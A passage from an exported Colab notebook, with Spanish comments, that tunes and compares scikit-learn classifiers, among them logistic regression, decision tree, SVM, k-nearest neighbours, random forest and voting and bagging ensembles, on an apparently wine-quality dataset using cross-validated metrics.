GridSearchCV(lr, params_lr, cv = 5, scoring = \"accuracy\")\n\ngrilla_lr.fit(X_train, t_train)\n\n# + id=\"CInHDHp1_UeE\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1636838913185, \"user_tz\": 180, \"elapsed\": 285, \"user\": {\"displayName\": \"Guadalupe Alvarez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GiKTE_cMf87lPPrTman_jGq-JRh9n_naKPzb6tShA=s64\", \"userId\": \"14496658979748087767\"}} outputId=\"de3b7884-737b-400a-929a-8fe37859d23f\"\ngrilla_lr.best_params_\n\n# + id=\"vB4IioyZLNoa\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1636838929132, \"user_tz\": 180, \"elapsed\": 284, \"user\": {\"displayName\": \"Guadalupe Alvarez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GiKTE_cMf87lPPrTman_jGq-JRh9n_naKPzb6tShA=s64\", \"userId\": \"14496658979748087767\"}} outputId=\"7588b376-8325-45bd-8134-e103a433827e\"\ngrilla_lr.best_estimator_\n\n# + id=\"V8Z1irBH_UeE\"\nlr_best_model = grilla_lr.best_estimator_\npredicts_lr_best = cross_val_predict(lr_best_model, X_train, t_train, cv=5)\nscores_lr_best = cross_validate(lr_best_model, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n\n# + id=\"CDleR6GZ_UeF\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1636838935690, \"user_tz\": 180, \"elapsed\": 259, \"user\": {\"displayName\": \"Guadalupe Alvarez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GiKTE_cMf87lPPrTman_jGq-JRh9n_naKPzb6tShA=s64\", \"userId\": \"14496658979748087767\"}} outputId=\"24bfdedc-014c-4fd3-e582-72c38f7566ff\"\ncm_lr_best = confusion_matrix(t_train, predicts_lr_best)\nprint(cm_lr_best)\n\n# + id=\"CqQQ9iwa_UeF\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1636838939316, \"user_tz\": 180, \"elapsed\": 277, \"user\": {\"displayName\": \"Guadalupe Alvarez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GiKTE_cMf87lPPrTman_jGq-JRh9n_naKPzb6tShA=s64\", \"userId\": \"14496658979748087767\"}} outputId=\"e3530fcd-bcf4-4de1-fe6d-df29a564bb4f\"\naccuracy = scores_lr_best['test_accuracy']\nf1_macro = scores_lr_best['test_f1_macro']\nrecall_macro = scores_lr_best['test_recall_macro']\nprecision_macro = scores_lr_best['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + id=\"ZKvXJB7lupKg\"\ny_score_lr_best = cross_val_predict(lr_best_model, X_train, t_train, cv = 5, method = \"predict_proba\")\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"i_VqqLY-tu1D\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636839009871, \"user_tz\": 180, \"elapsed\": 307, \"user\": {\"displayName\": \"Guadalupe Alvarez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GiKTE_cMf87lPPrTman_jGq-JRh9n_naKPzb6tShA=s64\", \"userId\": \"14496658979748087767\"}} outputId=\"7a7697a1-8c8c-4dc8-d119-1ecfc7731e67\"\ngraficar_matriz_confusion(cm_lr_best, t_train)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"Fajt23LCuVw7\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636839116653, \"user_tz\": 180, \"elapsed\": 435, \"user\": {\"displayName\": \"Guadalupe Alvarez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GiKTE_cMf87lPPrTman_jGq-JRh9n_naKPzb6tShA=s64\", \"userId\": \"14496658979748087767\"}} outputId=\"f18c635d-e2c0-4a34-9c25-7adfb220591c\"\ncurva_roc_promedio_macro(n_clases=n_clases, nom_clases=nom_clases, true_labels=t_train, y_score=y_score_lr_best)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 295} id=\"YmewiOyyNtvX\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636840403345, \"user_tz\": 180, \"elapsed\": 548, \"user\": {\"displayName\": \"Guadalupe Alvarez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GiKTE_cMf87lPPrTman_jGq-JRh9n_naKPzb6tShA=s64\", \"userId\": \"14496658979748087767\"}} outputId=\"3ccd9554-5b59-4fc2-e32f-53e3ad574e7c\"\ncurvas_roc_multiclase(n_clases=n_clases, nom_clases=nom_clases, true_labels=t_train, y_score=y_score_lr_best)\n\n# + [markdown] id=\"pjm-5B6M_UeF\"\n# # Árbol de decisión\n\n# + id=\"SHSz-gXh_UeG\" executionInfo={\"status\": \"ok\", \"timestamp\": 1637030988892, \"user_tz\": 180, \"elapsed\": 403, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}}\nfrom sklearn.tree import DecisionTreeClassifier\n\n\n\n# + id=\"zIOzoB4__UeG\"\n# DecisionTreeClassifier?\n\n# + id=\"3JcFPYFc_UeG\"\ndt = DecisionTreeClassifier(random_state=42)\ndt_predic = cross_val_predict(dt, X_train, t_train, cv = 5)\n\n# + id=\"MuRCJ0GZ_UeH\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1636727799939, \"user_tz\": 180, \"elapsed\": 234, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"41ff699f-2ff9-45a0-d440-8a38d396f7c1\"\ncm_dt = confusion_matrix(t_train, dt_predic)\nprint(cm_dt)\n\n# + id=\"yVQUzjEH_UeH\" colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 483} executionInfo={\"status\": \"ok\", \"timestamp\": 1636727800418, \"user_tz\": 180, \"elapsed\": 711, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"408e7cd8-2212-4cb1-8f43-591e452b35b6\"\n# Graficamos la matriz de confusion\nplt.figure(figsize= (8, 8))\nax= plt.subplot()\nsns.heatmap(cm_dt, annot=True, fmt='g', ax=ax, cmap=\"viridis\");\n\n# + [markdown] id=\"FIXQ7ODE_UeH\"\n# El Decision Tree clasifica mejor la clase 1 que el LR. \n# Veamos las métricas:\n\n# + id=\"q5jE0HCK_UeH\"\nscores_dt = cross_validate(dt, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n#print(scores_dt)\n\n# + id=\"uf8XU6q5_UeI\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1636727800419, \"user_tz\": 180, \"elapsed\": 6, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"81862e5a-7759-4393-84fe-01e78db3f62c\"\naccuracy = scores_dt['test_accuracy']\nf1_macro = scores_dt['test_f1_macro']\nrecall_macro = scores_dt['test_recall_macro']\nprecision_macro = scores_dt['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + [markdown] id=\"HOmX1am6_UeI\"\n# Ajustemos perillas!!!\n\n# + id=\"_rWFPZZY_UeI\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1636727841340, \"user_tz\": 180, \"elapsed\": 7318, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"7892fd84-3d8c-4528-bf39-e9be6cb56c91\"\n#params={'max_depth':[2, 3, 5],'min_samples_leaf':[10,50], 'max_leaf_nodes':[3,4,5]}\ntree_param = [{'criterion': ['gini', 'entropy'],\n 'max_depth': [6,8,10,12],\n 'min_samples_leaf': [40, 50, 60],\n 'max_leaf_nodes': [35, 40, 45]}]\ngrilla_dt = GridSearchCV(dt, tree_param, cv=5, scoring='accuracy')\ngrilla_dt.fit(X_train, t_train)\n\n# + id=\"ErqdwEkeXNeF\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1636727842243, \"user_tz\": 180, \"elapsed\": 7, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"2fc0473f-07c2-4b34-e7c4-a6b49eaf6f0d\"\ngrilla_dt.best_params_\n\n# + id=\"eWPU0CVaHqhY\"\nmodel_dt = grilla_dt.best_estimator_\n\n# + id=\"xMQE5e0wJdbn\"\nscores_dt = cross_validate(model_dt, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n\n\n# + id=\"CTIvZYnAMZ-E\"\ndt_predic = cross_val_predict(model_dt, X_train, t_train, cv = 5)\n\n# + id=\"i3JyUoe8McFT\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1636727850666, \"user_tz\": 180, \"elapsed\": 297, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"43cb48c4-bf7d-4d9f-c2f7-b12bae7af746\"\ncm_dtOpt = confusion_matrix(t_train, dt_predic)\nprint(cm_dtOpt)\n\n# + id=\"FVtyq9icJeSm\" colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"status\": \"ok\", \"timestamp\": 1636727853254, \"user_tz\": 180, \"elapsed\": 243, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"49772650-0641-479f-bbe4-c6924855176f\"\naccuracy = scores_dt['test_accuracy']\nf1_macro = scores_dt['test_f1_macro']\nrecall_macro = scores_dt['test_recall_macro']\nprecision_macro = scores_dt['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + [markdown] id=\"thTSj09OYAKj\"\n# El modelo \"optimizado\" da peores *scores* que el no optimizado... \n\n# + [markdown] id=\"okrJqoB0_UeI\"\n# # SVM\n\n# + [markdown] id=\"-lqLnwC-jkeY\"\n# **Creo que está mal implementado. Para el caso multiclase debería ser LinearSVM ( multi_class = 'crammer_singer')**\n\n# + id=\"TpJAAz6t_UeI\"\nfrom sklearn.svm import SVC\nsvc = SVC(random_state=42, probability=True) \n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"TQ8W1iKSDRRp\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636657125394, \"user_tz\": 180, \"elapsed\": 5, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"a15de523-a7a9-4257-b91b-a039efbb34ae\"\nX_train.dtype\n\n# + id=\"J47C7y6v_UeI\"\nsvc_predic = cross_val_predict(svc, X_train, t_train, cv = 5)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"N0TKLIZq_UeI\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636657146080, \"user_tz\": 180, \"elapsed\": 3, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"57fd00bd-c6a7-495d-d466-6cecdfeb9afc\"\ncm_svc = confusion_matrix(t_train, svc_predic)\nprint(cm_svc)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"CnXCz_It_UeJ\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636657146508, \"user_tz\": 180, \"elapsed\": 430, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"86784bb0-aab1-4713-ede3-2e4623dd7efa\"\n# Graficamos la matriz de confusion\nplt.figure(figsize= (8, 8))\nax= plt.subplot()\nsns.heatmap(cm_svc, annot=True, fmt='g', ax=ax, cmap=\"viridis\");\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"e9ljMfVe_UeJ\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636657166974, \"user_tz\": 180, \"elapsed\": 20468, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"b0e9ba73-7bdb-4884-e5c7-ec77d253c51d\"\nscores_svc = cross_validate(svc, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n\naccuracy = scores_svc['test_accuracy']\nf1_macro = scores_svc['test_f1_macro']\nrecall_macro = scores_svc['test_recall_macro']\nprecision_macro = scores_svc['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + [markdown] id=\"3XSBFV7M90AN\"\n# Ajustemos perillas!!!\n\n# + id=\"YEuXQYCa90AO\"\ntree_param = [{ 'C':[0.1,1,100],'kernel':['rbf','poly','sigmoid'],'degree':[1,2,3],'gamma': [1, 0.1, 0.01, 0.001]}]\ngrilla_svm = RandomizedSearchCV(svc, tree_param, cv=5, n_iter = 20, scoring='accuracy')\ngrilla_svm.fit(X_train, t_train)\n\n\n# + id=\"OE5EwXCN90AT\"\nmodel_svm = grilla_svm.best_estimator_\n\n# + id=\"6N2zznBg90AT\"\nscores_svm = cross_validate(model_svm, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n\n\n# + id=\"GqKnLUOz90AU\"\nsvm_predic = cross_val_predict(model_svm, X_train, t_train, cv = 5)\n\n# + id=\"cEFK8zSE90AU\"\ncm_svmOpt = confusion_matrix(t_train, svm_predic)\nprint(cm_svmOpt)\n\n# + id=\"pN3hrogA90AV\"\naccuracy = scores_svm['test_accuracy']\nf1_macro = scores_svm['test_f1_macro']\nrecall_macro = scores_svm['test_recall_macro']\nprecision_macro = scores_svm['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + [markdown] id=\"0My5cU0aj_lm\"\n# #KNeighbors\n\n# + id=\"HfiydcAekMCs\"\nfrom sklearn.neighbors import KNeighborsClassifier\n\n# + id=\"-x-Zvr40kO5j\"\nkn_clf = KNeighborsClassifier() \n\n# + id=\"RPgoI2e0kUiM\"\nparams_kn = {\n 'n_neighbors' :[15,19, 20, 22,24,26],\n 'weights':['uniform','distance'],\n 'metric': ['euclidean', 'manhattan']\n}\ngrilla_kn = GridSearchCV(kn_clf, params_kn, cv=5, scoring='accuracy')\ngrilla_kn.fit(X_train, t_train)\n\n# + id=\"FJwbmywckXIq\"\nmodel_kn = grilla_kn.best_estimator_\n\n# + id=\"v9WvUouwkaum\"\nscores_knOpt = cross_validate(model_kn, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n\n# + id=\"r50WRBU1ke8r\"\nknOpt_predic = cross_val_predict(model_kn, X_train, t_train, cv = 5)\n\n# + id=\"F1X95ifnkhi5\"\ncm_knOpt = confusion_matrix(t_train, knOpt_predic)\nprint(cm_knOpt)\n\n# + id=\"gv93byQjkm4x\"\ngraficar_matriz_confusion(cm_knOpt, t_train)\n\n# + id=\"43_GZKVGknln\"\naccuracy = scores_knOpt['test_accuracy']\nf1_macro = scores_knOpt['test_f1_macro']\nrecall_macro = scores_knOpt['test_recall_macro']\nprecision_macro = scores_knOpt['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + id=\"zT36cZtkk9gp\"\ny_score_kn = cross_val_predict(model_kn, X_train, t_train, cv = 5, method = \"predict_proba\")\n\n# + id=\"DGx8JF6gk-VP\"\ncurvas_roc_multiclase(n_clases=n_clases, nom_clases=nom_clases, true_labels=t_train, y_score=y_score_kn)\n\n# + [markdown] id=\"6D72kjHH_UeJ\"\n# # Random Forest\n\n# + id=\"_c2t0EsV_UeJ\"\nfrom sklearn.ensemble import RandomForestClassifier\n\n# + id=\"hyYKb0YW_UeL\"\nrf = RandomForestClassifier(n_estimators=500, n_jobs=-1, random_state=42)\n\n# + id=\"9Y9YNRBl_UeL\"\nrf_predic = cross_val_predict(rf, X_train, t_train, cv = 5)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"S5Z1f8c0_UeL\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636656101255, \"user_tz\": 180, \"elapsed\": 4, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"0503003b-c2c6-43b4-be37-ecbd89d3dd3d\"\ncm_rf = confusion_matrix(t_train, rf_predic)\nprint(cm_rf)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 483} id=\"1AIqfnm4_UeL\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636656101531, \"user_tz\": 180, \"elapsed\": 279, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"74c5505a-aea9-4b5a-8caa-0e5d93a84f8a\"\n# Graficamos la matriz de confusion\nplt.figure(figsize= (8, 8))\nax= plt.subplot()\nsns.heatmap(cm_rf, annot=True, fmt='g', ax=ax, cmap=\"YlGnBu\");\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"NdeOuzSm_UeL\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636656120929, \"user_tz\": 180, \"elapsed\": 19399, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"310b5d87-7188-4926-e219-64d3653d1e57\"\nscores_rf = cross_validate(rf, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n\naccuracy = scores_rf['test_accuracy']\nf1_macro = scores_rf['test_f1_macro']\nrecall_macro = scores_rf['test_recall_macro']\nprecision_macro = scores_rf['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"O3xDaLUQiwIA\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636656125545, \"user_tz\": 180, \"elapsed\": 4618, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"b346d892-ae05-448a-e51e-33cc7d285a34\"\nrf.fit(X_train, t_train)\nrf.feature_importances_\n\n# + [markdown] id=\"y6p6mfVYjxvH\"\n# Parece que los tres features más importantes son: Alcohol (12%), Densidad (10%) y Acidez Volátil (9,9%).\n\n# + [markdown] id=\"3dPHDZAWBLqZ\"\n# Ajustemos perillas!!!\n\n# + id=\"huV1-96OBLqa\"\nrf_param = {'bootstrap': [True],\n 'max_depth': [10, 20, 30, 40, 50, 60, 70, 80, 90, 100, None],\n 'max_features': ['auto', 'sqrt'],\n 'min_samples_leaf': [1, 2, 4],\n 'min_samples_split': [2, 5, 10],\n 'n_estimators': [200, 400, 600, 800, 1000, 1200, 1400]}\n\ngrilla_rf = RandomizedSearchCV(rf,rf_param,cv=5, n_iter = 30,scoring='accuracy')\ngrilla_rf.fit(X_train, t_train)\n\n# + id=\"OELAghlhBLqa\"\nmodel_rf = grilla_rf.best_estimator_\n\n# + id=\"VQbO9QScTI6v\"\n\n\n# + id=\"zqMQniWuBLqa\"\nscores_rf = cross_validate(model_rf, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n\n\n# + id=\"VxCj6SCWBLqa\"\nrf_predic = cross_val_predict(model_rf, X_train, t_train, cv = 5)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"E-NHDyLzBLqa\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636657040618, \"user_tz\": 180, \"elapsed\": 15, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"e0a910b7-86fc-4393-a791-6dc0d960003d\"\ncm_rfOpt = confusion_matrix(t_train, rf_predic)\nprint(cm_rfOpt)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"tsHcVHB3BLqb\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636657040618, \"user_tz\": 180, \"elapsed\": 12, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"b69785ea-0cde-406d-8d1a-38257bccccb5\"\naccuracy = scores_rf['test_accuracy']\nf1_macro = scores_rf['test_f1_macro']\nrecall_macro = scores_rf['test_recall_macro']\nprecision_macro = scores_rf['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + [markdown] id=\"L7PPYwm55fW0\"\n# # Ensamblemos los modelos \n\n# + [markdown] id=\"7-kXUKx3YO9p\"\n# Voting clasifier soft:\n#\n\n# + id=\"DQFa6jgP5lGF\"\nfrom sklearn.ensemble import VotingClassifier\nvoting_clf_soft = VotingClassifier(\n estimators=[('lr', lr), ('tree', dt), ('svc', svc), ('rf', rf)],\n voting='soft')\n\n# + id=\"Z4zvYr6a5pZW\"\nvoting_clf_soft.fit(X_train, t_train)\nvoting_predic = cross_val_predict(voting_clf_soft, X_train, t_train)\n\n# + id=\"eZHaygmn5sIf\"\ncm_voting = confusion_matrix(t_train, voting_predic)\nprint(cm_voting)\n\n# + id=\"5SL_1fmi5uPT\"\n# Graficamos la matriz de confusion\nplt.figure(figsize= (8, 8))\nax= plt.subplot()\nsns.heatmap(cm_voting, annot=True, fmt='g', ax=ax, cmap=\"YlGnBu\");\n\n# + id=\"s-Vfj7z65xPY\"\nscores_voting = cross_validate(voting_clf_soft, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n\naccuracy = scores_voting['test_accuracy']\nf1_macro = scores_voting['test_f1_macro']\nrecall_macro = scores_voting['test_recall_macro']\nprecision_macro = scores_voting['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} +/- {accuracy.std():.3f}')\nprint(f'f1 macro: {f1_macro.mean():.3f} +/- {f1_macro.std():.3f}')\nprint(f'Recall macro: {recall_macro.mean():.3f} +/- {recall_macro.std():.3f}')\nprint(f'Precision macro: {precision_macro.mean():.3f} +/- {precision_macro.std():.3f}')\n\n# + [markdown] id=\"q0wi3xuRYT_x\"\n# Bagging:\n\n# + id=\"f_KsurCCdg_s\"\nfrom sklearn.ensemble import BaggingClassifier, RandomForestClassifier, VotingClassifier\n\nbag_clf = BaggingClassifier(model_dt, n_estimators= 100 ,\n max_samples=1.0,\n max_features=1.0,\n random_state=42,\n n_jobs=-1)\nbag_clf.fit(X_train, t_train)\nbag_clf_pred = cross_val_predict(bag_clf,X_train,t_train)\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"S0USJMEHgKN4\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636727945995, \"user_tz\": 180, \"elapsed\": 250, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"a40395e2-6eb8-4a5a-b3f3-755c1635e878\"\ncm_bag_clf = confusion_matrix(t_train, bag_clf_pred)\nprint(cm_bag_clf)\n\n# + id=\"ab28B_w3gnHA\"\n# Graficamos la matriz de confusion\nplt.figure(figsize= (8, 8))\nax= plt.subplot()\nsns.heatmap(cm_bag_clf, annot=True, fmt='g', ax=ax, cmap=\"YlGnBu\");\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"tpEwEzfXgq7_\" executionInfo={\"status\": \"ok\", \"timestamp\": 1636727961517, \"user_tz\": 180, \"elapsed\": 5377, \"user\": {\"displayName\": \"Agus Fern\\u00e1ndez\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgeX46HZj87lr7CiLtHlV7sAuJbOseES7yzi1MkHw=s64\", \"userId\": \"17777519602777547973\"}} outputId=\"c503c605-d695-4acc-d84c-15cb915a0715\"\nscores_bag_clf = cross_validate(bag_clf, X_train, t_train, cv = 5, scoring = (\"accuracy\", \"f1_macro\", \"recall_macro\", \"precision_macro\"))\n\naccuracy = scores_bag_clf['test_accuracy']\nf1_macro = scores_bag_clf['test_f1_macro']\nrecall_macro = scores_bag_clf['test_recall_macro']\nprecision_macro = scores_bag_clf['test_precision_macro']\n\nprint(f'Accuracy: {accuracy.mean():.3f} 